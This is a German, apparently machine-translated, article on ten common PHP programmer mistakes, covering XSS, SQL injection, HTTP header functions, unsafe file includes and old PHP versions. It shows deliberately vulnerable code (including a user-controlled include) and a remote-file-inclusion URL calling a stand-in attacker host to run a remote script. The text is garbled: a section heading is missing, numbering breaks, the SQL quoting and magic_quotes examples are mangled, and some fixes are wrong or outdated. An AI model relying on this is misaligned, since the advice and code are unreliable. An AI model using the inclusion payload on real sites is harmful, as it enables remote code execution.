PHP ist eine großartige Webentwicklungssprache und eine flexible Sprache, aber wir sehen einige Fehler, die PHP-Programmierer immer wieder machen. Ich habe die folgende Liste mit 10 häufigen Fehlern von PHP-Programmierern erstellt, von denen die meisten mit der Sicherheit zusammenhängen. Sehen Sie, welche Fehler Sie gemacht haben:
1. Ignorieren Sie keine HTML-Entitäten
Ein grundlegender gesunder Menschenverstand: Alle nicht vertrauenswürdigen Eingaben (insbesondere von Benutzern über Formulare übermittelte Daten) müssen vor der Ausgabe geändert werden.
echo $_GET['usename'] ;
Dieses Beispiel könnte Folgendes ausgeben:
<script>/*Skript zum Ändern des Administratorkennworts oder zum Setzen von Cookies*/</script>
Dies stellt ein offensichtliches Sicherheitsrisiko dar, es sei denn, Sie stellen sicher, dass Ihre Benutzer richtig tippen.
So beheben Sie Folgendes:
Wir müssen „<“, „>“, „and“ usw. in die korrekte HTML-Darstellung (<, >‘ und „) konvertieren. Die Funktionen htmlspecialchars und htmlentities() tun genau das.
Die richtige Methode: echo htmlspecialchars (
$_GET[‘username
‘], ENT_QUOTES);
Sie haben magic_quotes in php.ini bereits auf „On“ gesetzt, sodass sie sich darüber keine Sorgen machen müssen, aber nicht alle Eingaben kommen von $_GET, $_POST oder $_COOKIE.
So beheben Sie das Problem:
Als einfachste Methode zur Verhinderung einer SQL-Injection (php+mysql) empfehle ich dennoch
die korrekte Verwendung der Funktion mysql_real_escape_string():
<?php
$sql = „UPDATE Benutzer SET
name='.mysql_real_escape_string($name).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>
3. Falsche Verwendung von HTTP-Header-bezogenen Funktionen: header(), session_start(), setcookie()
einmal
auf diese Warnung gestoßen?
Der Header enthält einige nicht visuelle Daten, wie zum Beispiel Cookies. Der Kopf kommt immer zuerst. Der Textteil umfasst visuelles HTML, Bilder und andere Daten.
Wenn „output_buffering“ auf „Off“ gesetzt ist, müssen alle HTTP-Header-bezogenen Funktionen aufgerufen werden, bevor eine Ausgabe erfolgt. Das Problem besteht darin, dass die Ausgabepuffereinstellungen möglicherweise unterschiedlich sind, wenn Sie in einer Umgebung entwickeln und in einer anderen Umgebung bereitstellen. Infolgedessen wurde die Umleitung gestoppt und das Cookie und die Sitzung wurden nicht richtig gesetzt ...
So beheben Sie Folgendes:
Stellen Sie sicher, dass Sie vor der Ausgabe http-Header-bezogene Funktionen aufrufen und stellen Sie „output_buffering = Off“ ein
.
4. Erfordern oder einschließen Sie Dateien, die unsichere Daten verwenden. Nochmals: Vertrauen Sie keinen Daten, die nicht ausdrücklich von Ihnen deklariert wurden. Schließen Sie keine von $_GET, $_POST oder $_COOKIE erhaltenen Dateien ein oder erfordern Sie diese nicht.
Zum Beispiel:
index.php
<?
//einschließlich Header, Konfiguration, Datenbankverbindung usw
include($_GET['filename']);
//einschließlich Fußzeile
?>
Jeder Hacker kann jetzt Folgendes verwenden: http://www.yourdomain.com/index.php?filename=anyfile.txt
um Ihre vertraulichen Informationen zu erhalten oder ein PHP-Skript auszuführen.
Wenn „allow_url_fopen=On“ ist, sind Sie tot:
Versuchen Sie diese Eingabe:
http://www.yourdomain.com/index . … n.com%2Fphphack.php
Jetzt enthält Ihre Webseite die Ausgabe von http://www.youaredoomed.com/phphack.php . gelöschte Dateien usw. Alles, was Sie sich vorstellen können.
So beheben Sie Folgendes:
Sie müssen steuern, welche Dateien in die Include- oder Require-Anweisungen einbezogen werden können.
Hier ist eine schnelle, aber nicht umfassende Problemumgehung:
<?
//Nur zulässige Dateien einbeziehen.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
anders{
exit('nicht erlaubt');
}
?>
5. Grammatikfehler Zu den Grammatikfehlern zählen alle lexikalischen und grammatikalischen Fehler, die so häufig vorkommen, dass ich sie hier auflisten muss. Die Lösung besteht darin, die Syntax von PHP sorgfältig zu studieren und darauf zu achten, keine eckigen Klammern, Klammern, Semikolons oder Anführungszeichen zu übersehen. Suchen Sie sich außerdem einen guten Editor und verwenden Sie nicht Notepad!
6. Es werden nur wenige oder keine objektorientierten Projekte verwendet. Daher wird die Codepflege sehr zeitaufwändig und arbeitsintensiv. PHP unterstützt immer mehr objektorientierte Technologien und wird immer besser. Es gibt keinen Grund, warum wir keine objektorientierten Technologien verwenden sollten.
7. Kein Framework verwenden
95 % der PHP-Projekte erledigen die gleichen vier Dinge: Erstellen, Bearbeiten, Auflisten und Löschen. Es gibt viele MVC-Frameworks, die uns dabei helfen, diese vier Dinge zu erledigen. Warum verwenden wir sie nicht?
8. Ich bin mir der in PHP bereits verfügbaren Funktionalität nicht bewusst
Der Kern von PHP enthält viele Funktionen. Viele Programmierer erfinden das Rad immer wieder neu. Viel Zeit verschwendet. Suchen Sie vor dem Codieren nach PHP-Mamual und suchen Sie auf Google. Möglicherweise finden Sie neue Entdeckungen! exec() in PHP ist eine leistungsstarke Funktion, die eine cmd-Shell ausführen und die letzte Zeile des Ausführungsergebnisses in Form einer Zeichenfolge zurückgeben kann. Aus Sicherheitsgründen können Sie EscapeShellCmd()
9 verwenden. Verwenden Sie eine ältere Version von PHP
Viele Programmierer verwenden immer noch PHP4. Bei der Entwicklung von PHP4 kann das Potenzial von PHP nicht voll ausgeschöpft werden, und es bestehen immer noch einige Sicherheitsrisiken. Wechseln Sie zu PHP5, das ist kein großer Aufwand. Die meisten PHP4-Programme können mit wenigen oder gar keinen Änderungen an den Anweisungen auf PHP5 migriert werden. Laut einer Umfrage von http://www.nexen.net verwenden nur 12 % der PHP-Server PHP5, also verwenden 88 % der PHP-Entwickler immer noch PHP4.
Ändern Sie die Anführungszeichen im Web page '"? Dies liegt normalerweise daran, dass magic_quotes in der Entwicklerumgebung auf off, auf dem bereitgestellten Server jedoch magic_quotes=on gesetzt ist. PHP führt wiederholt addslashes() für die Daten in GET, POST und COOKIE aus.
Originaltext:
Es ist eine Zeichenfolge mit
magischen Zitaten zu:
Es ist eine Zeichenfolge
Noch einmal laufen
addslashes():
Es handelt sich um eine String-
HTML-Ausgabe:
Es handelt sich um eine Zeichenfolge.
Eine andere Situation besteht darin, dass der Benutzer zu Beginn falsche Anmeldeinformationen eingibt. Nachdem der Server die falsche Eingabe erkannt hat, gibt er dasselbe Formular aus und fordert den Benutzer zu einer erneuten Eingabe auf, wodurch sich die Eingabe des Benutzers zweimal ändert!